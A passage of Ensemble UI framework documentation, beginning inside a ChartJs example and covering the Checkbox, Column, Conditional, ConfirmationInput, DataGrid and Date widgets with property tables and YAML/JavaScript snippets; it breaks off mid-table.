textStyle: - color: 0xff969BA1 - fontSize: 12 - - Text: - id: centerText - text: 60% - styles: - textStyle: - fontSize: 32 - textAlign: end - - -Global: |- - - function setEnergyChartConfig (data) { - return ({ - "type": 'doughnut', - "data": { - "labels": ["Green", "Coal", "Gas", "Oil"], - "datasets": [{ - "data": data, - "backgroundColor": ['#4BC22F','#474747','#FFBE0A', '#6933FF'], - "hoverOffset": 30, - "borderWidth": 0 - }] - }, - "options": { - "responsive" : true, - "aspectRatio": 1, - "cutout": 80 , - "plugins": { - "legend": { - "display": false - }, - "tooltip": { - "enabled": true, - "position": "nearest" - }, - "labelInsideCircumference": { - "font": { - "size": '11', - "weight": 'normal' - }, - "color": '#000', - "space": 40, // Space between label and circumference - "labelPadding": 10, // Padding on the left and right of the label inside the box - "boxHeight": 30, // Height of the label box - "borderRadius": 4, // Border radius for the label box - "iconOffset": 15 // Horizontal offset for the icon inside the box, - } - }, - "layout": { - "padding": 80 - } - }, - "plugins": [{ - "id": 'labelInsideCircumference', - "beforeDraw": function (chart) { - var labels = chart.data.datasets[0].data; - var colors = chart.data.datasets[0].backgroundColor; - var ctx = chart.ctx; - var width = chart.width; - var height = chart.height; - var labelConfig = chart.options.plugins.labelInsideCircumference; - - ctx.restore(); - ctx.font = labelConfig.font.size + 'px ' + labelConfig.font.weight; - ctx.fillStyle = labelConfig.color; - ctx.textBaseline = 'middle'; - - var total = chart.config.data.datasets[0].data.reduce(function (acc, val) { - return acc + val; - }, 0); - var startAngle = -0.54 * Math.PI; - var endAngle = startAngle; - - // unicodes for the icons - var iconUnicodes = ['🍃', '🪨', '🔥', '🛢️']; - var text = ["Green", "Coal", "Gas", "Oil"]; - - for (var i = 0; i < labels.length; i++) { - var angle = (chart.data.datasets[0].data[i] / total) * (2 * Math.PI); - endAngle += angle; - - var x = width / 2 + Math.cos((startAngle + endAngle) / 2) * (width / 2 - labelConfig.space); - var y = height / 2 + Math.sin((startAngle + endAngle) / 2) * (height / 2 - labelConfig.space); - - var label = text[i] + " " + labels[i].toString() +"%"; - var labelWidth = ctx.measureText(label).width; - var icon = iconUnicodes[i]; - var iconWidth = ctx.measureText(icon).width; - - var contentWidth = labelWidth + iconWidth + labelConfig.labelPadding * 2; // Icon width + label width + padding - var boxWidth = Math.max(contentWidth, 70); // Ensure a minimum box width - - var boxHeight = labelConfig.boxHeight; - var borderRadius = labelConfig.borderRadius; - - // Set label color to match area color - ctx.fillStyle = colors[i]; - - // Calculate box position - var boxX = x - boxWidth / 2; - var boxY = y - boxHeight / 2; - - // Draw label box - ctx.beginPath(); - ctx.moveTo(boxX + borderRadius, boxY); - ctx.lineTo(boxX + boxWidth - borderRadius, boxY); - ctx.quadraticCurveTo(boxX + boxWidth, boxY, boxX + boxWidth, boxY + borderRadius); - ctx.lineTo(boxX + boxWidth, boxY + boxHeight - borderRadius); - ctx.quadraticCurveTo(boxX + boxWidth, boxY + boxHeight, boxX + boxWidth - borderRadius, boxY + boxHeight); - ctx.lineTo(boxX + borderRadius, boxY + boxHeight); - ctx.quadraticCurveTo(boxX, boxY + boxHeight, boxX, boxY + boxHeight - borderRadius); - ctx.lineTo(boxX, boxY + borderRadius); - ctx.quadraticCurveTo(boxX, boxY, boxX + borderRadius, boxY); - ctx.closePath(); - ctx.fillStyle = '#fff'; - ctx.strokeStyle = "#fff"; - ctx.lineWidth = 1; - ctx.fill(); - ctx.stroke(); - - // Draw icon - ctx.font = '13px'; - ctx.fillStyle = '#9DAEC1'; - ctx.textAlign = 'center'; - ctx.textBaseline = 'middle'; - ctx.fillText(icon, x - (labelWidth + labelConfig.labelPadding) / 3, y); - - // Draw label text - ctx.font = '15px'; - ctx.fillStyle = "black"; - ctx.fillText(label, x + (iconWidth + labelConfig.labelPadding) / 2, y); - - ctx.canvas.style.zIndex = 100; - startAngle = endAngle; - } - - ctx.save(); - } - }] - }); - } - -``` -```yaml filename="source" -View: - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Add Data - onTap: - executeCode: - body: | - testLineChart.addLabels(['July','August','September']); - testLineChart.addData(0,[20,30,40]); - testLineChart.addData(1,[5,45,25]); - testLineChart.update(); - - ChartJs: - id: testLineChart - styles: - width: ${device.width} - config: | - { - type: 'line', - data: { - labels: [ - 'January', - 'February', - 'March', - 'April', - 'May', - 'June' - ], - datasets: [ - { - label: 'My First dataset', - backgroundColor: [ - 'rgba(255, 99, 132, 0.2)', - 'rgba(54, 162, 235, 0.2)', - 'rgba(255, 206, 86, 0.2)', - 'rgba(75, 192, 192, 0.2)', - 'rgba(153, 102, 255, 0.2)', - 'rgba(255, 159, 64, 0.2)' - ], - borderColor: [ - 'rgba(255,99,132,1)', - 'rgba(54, 162, 235, 1)', - 'rgba(255, 206, 86, 1)', - 'rgba(75, 192, 192, 1)', - 'rgba(153, 102, 255, 1)', - 'rgba(255, 159, 64, 1)' - ], - borderWidth: 1, - data: [0, 10, 5, 2, 20, 45], - fill: 'start' - },{ - label: 'My Second dataset', - backgroundColor: [ - 'rgba(255, 99, 132, 0.2)', - 'rgba(54, 162, 235, 0.2)', - 'rgba(255, 206, 86, 0.2)', - 'rgba(75, 192, 192, 0.2)', - 'rgba(153, 102, 255, 0.2)', - 'rgba(255, 159, 64, 0.2)' - ], - borderColor: [ - 'rgba(255,99,132,1)', - 'rgba(54, 162, 235, 1)', - 'rgba(255, 206, 86, 1)', - 'rgba(75, 192, 192, 1)', - 'rgba(153, 102, 255, 1)', - 'rgba(255, 159, 64, 1)' - ], - borderWidth: 1, - data: [5, 12, 7, 0, 18, 25], - fill: 'start' - } - ] - }, - options: { - scales: { - x: { - ticks: { - maxRotation: 0, - minRotation: 0 - } - } - }, - plugins: { - filler: { - propagate: false, - } - }, - interaction: { - intersect: false, - }, - tension: 0.4 - } - } - -``` -```javascript -myChart.setData(0, [60, 10, 20, 10]); -``` -```javascript -myChart.addLabels(["January", "February", "March"]); -``` -```javascript -myChart.addData(0, [10, 20, 30]); -``` -```javascript -myChart.update(); -``` - ---- - - -# Checkbox widget - -The Checkbox widget allows the rendering of checkbox input elements, enabling users to select or deselect options within your application for convenient and interactive data manipulation. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | boolean | true if checkbox is checked else otherwise | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### Styles - -#### Common Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | - -#### Stack Position Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | - -#### Border Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | - -#### Padding Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| contentPadding | integer or string | Padding around your input content with CSS-style notation, e.g., margin: 5 20 5. | - - - -### Box Styles (Inherited) -This widget also inherits these styles - ---- - -# Column widget - -Column is designed to arrange child widgets vertically, where the intrinsic sizes of child widgets dictate the layout's appearance. - -## Best Practices - -- If a single vertical scrollbar is needed for the entire screen, consider using `scrollableView: true` at the `View` level. -- If the entire screen's vertical space is used without a need for scrolling (or if the scrolling is inside some nested section), considered using FlexColumn](/widgets/flex-column.md) to fill the entire vertical space. -- Use Column to lay out the children vertically from top to bottom. Enable scrollable if the children might exceed the available space. -- **Avoid** using child widgets with no height constraint or sized itself to the parent inside the Column. -- **Avoid** using nested scrollable Column for better UX. - -## Key Concepts -- **mainAxisSize**: By default the height of a Column is determined by its parent's height constraint (if available), otherwise it will be the combined height of its children. You may force the Column to do the later (size itself to the children's combined height) with `mainAxisSize=min`. Note that a Column does not pass a height constraint to its children, so a Column inside another Column will always size itself to its children. -- **mainAxis**: This property controls the vertical alignment of the children within the Column. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. -- **crossAxis**: This property controls the horizontal alignment of the children within the Column. -- **scrollable**: Enable vertical scrolling when the child widgets grow wider than the available space. - -## Caveats -- **Column width**: Note that setting a width for a Column acts more like a maximum width constraint. The Column determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. -If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) - -## Reference -#### Properties - -| Property | Type | Description | -| :------------ |:---------------------------------------|:--------------------------------------------------------| -| children | [Widget[]](widgets/directory) | List of child widgets | -| item-template | [ItemTemplate](#item-template) | List of templated widgets, appearing after the children | -| styles | object | [See properties](#styles) | - -#### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The widget to render for each item | - -#### styles - -| Property | Type | Description | -| :--------------------------- |:-----------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | -| scrollable | boolean | Set to true so content can scroll vertically as needed | -| autoFit | boolean | Explicitly make the column's width as wide as the largest child, but only if our column's parent does not already assign a width. This attribute is useful for sizing children who don't have a width (e.g Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Conditional widget - -Conditional widget allows developers to conditionally render UI elements based on specified conditions, enhancing dynamic content display and personalized user experiences within the app. - -### Properties - -| Property | Type | Description | -| ---------- | ----- | -------------------------------------------------------------------------------------------- | -| conditions | array | Allow users to conditionally render their widgets using `if`, `elseif` and `else` statements | - -**Example** -Conditional widget is very useful specially when making a custom widget where users might want to have a default value and an optional value. Let us take an example for its use case - -Consider that you are trying to make a custom widget or Button for dealing with social logins, since there are more than on platforms like Meta, Google, Apple etc so choosing an image based on `provider` variable is a viable choice. But how can we check if `provider` is apple or google etc ? - -#### Steps - -- First of all declare the base custom widget yaml code. Then use `Conditional` to render `Image` widget accordingly. - -**Code** - -```yaml -Widget: - inputs: - - provider - - label - onLoad: | - //@code - - console.log(provider); - console.log(label); - - function capitalizeString(str) { - return str.charAt(0).toUpperCase() + str.substring(1) ; - } - - if (label.length > 0 ) - providerText.text = label; - else - providerText.text = "Sign In With " + capitalizeString(provider); - - body: - Stack: - styles: - alignChildren: centerLeft - children: - - Conditional: - conditions: - - if: ${provider === 'apple' || provider === 'Apple' } - Image: - source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fapple.png?alt=media&token=893491f0-5300-4b29-8fce-30fe98eaec76 - styles: - height: 24 - width: 24 - padding: 0 24 - - elseif: ${provider === 'google' || provider === 'Google' } - Image: - source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fgoogle.png?alt=media&token=c91b1a27-a0bd-40c2-b82d-0f250762bc0b - styles: - height: 24 - width: 24 - padding: 0 24 - - - Row: - id: rowId - styles: - borderColor: 0xFFDEDED4 - crossAxis: center - mainAxis: center - borderRadius: 8 - height: 50 - children: - - Text: - id: providerText - styles: - textStyle: - fontSize: 12 -``` - ---- - -# ConfirmationInput widget - -The ConfirmationInput Widget enables the seamless rendering of a verification view. The usecases are entering OTP, Confirmation Code, PIN Number, Reset Password, Coupon and more. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/iCOvav6CcioH46LR6wYF) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :---------------------------------------------------------------------------------------------- | -| length | integer | The number of the text fields item. | -| enableCursor | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE. | -| autoComplete | boolean | If it is True, then it will trigger onComplete when the user specified length and has typed the full length, False will trigger onComplete when the user hit Enter. Defaults (True). | -| fieldType | string | How the input field should be displayed. | -| inputType | string | Pick a predefined input type. | -| obscureText | boolean | To display the pin as obscure. Default is `false` | -| obscureSymbol | string/Icon | To display in place of pin as obscure if `obscureText` is `true`, it can be a character of length `1` or a `icon` widget. Default is `*` | -| defaultFieldBorderColor | string | Set the border color for inactive/unfocused state of text field. | -| activeFieldBorderColor | string | Set the border color for active/focused state of text field. | -| filledFieldBorderColor | string | Set the border color for filled state of text field. | -| defaultFieldBackgroundColor | string | Set the background Color for inactive/unfocused state of text field. | -| activeFieldBackgroundColor | string | Set the ackground Color for active/focused state of text field. | -| filledFieldBackgroundColor | string | Set the ackground Color for filled field state of text field. | -| cursorColor | string | Set the color for the cursor. | -| styles | object | [See properties](#styles) | -| onChange | action | Execute an action when a change is detected to the text field | -| onComplete | action | Execute an action when the text field fully entered or when keyboard submitted button tapped | -| autofillEnabled | boolean | Enables or disables the autofill functionality for the input field. Default is `false`. | - ---- - -# DataGrid widget - -The DataGrid Widget enables the seamless rendering of data grids, facilitating the organized display and manipulation of tabular data within your application for effective data representation and interaction. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :----------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of Data Row widgets. | -| styles | object | [See properties](#styles) | -| horizontalMargin | integer | The leading and trailing gap for the DataGrid view. | -| dataRowHeight | integer | Set the height of the data row item. | -| headingRowHeight | integer | Set the height of the heading row item. | -| columnSpacing | number | Set the padding for the column. | -| dividerThickness | integer | Determines the thickness or width of dividers in the DataGrid widget. | -| DataColumns | array | List of data columns | -| sorting | object | Sort the data columns in ascending or descending order. [See properties](#styles) | -| thumbThickness | double | Set thickness of scrollbar. Default value is `10.0`. | -| scrollbarBehaviour| enum | Scrollbar behaviour `static` or `fade` when grid is not intereacted with. Default is `fade`. | - -### sorting - -| Property | Type | Description | -| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| columnIndex | String | The index of the data column to be sorted | -| order | String | Set the data column sorting either in `ascending` or `descending` order - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | array | The data row widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | -| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - -#### styles.headingText - -| Property | Type | Description | -| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| decoration | string | A linear decoration to draw near the text. `none` `lineThrough` `underline` `overline` | -| font | string | Default built-in style for this text. `heading` `title` `subtitle` | -| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | -| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | -| textStyle | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `normal` `italic` `underline` `strikethrough` `italic_underline` `italic_strikethrough` | | - ---- - -# Date widget - -The Date Widget facilitates the rendering of date input fields, providing a user-friendly interface for selecting and displaying dates within your application for date-related functionality. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700) | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| styles | object | [See properties](#styles) | -| initialValue | string | The highlighted initial date in the calendar picker (default is Today). Use format YYYY-MM-DD. | -| firstDate | string | The first selectable date in the calendar. Use format YYYY-MM-DD | -| lastDate | string | The last selectable date in the calendar. Use format YYYY-MM-DD | -| showCalendarIcon | boolean | Whether we should show (default) or hide the calendar icon. Selecting the text will still open the calendar picker | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| variant | string | Select a pre-defined look and feel for this Input 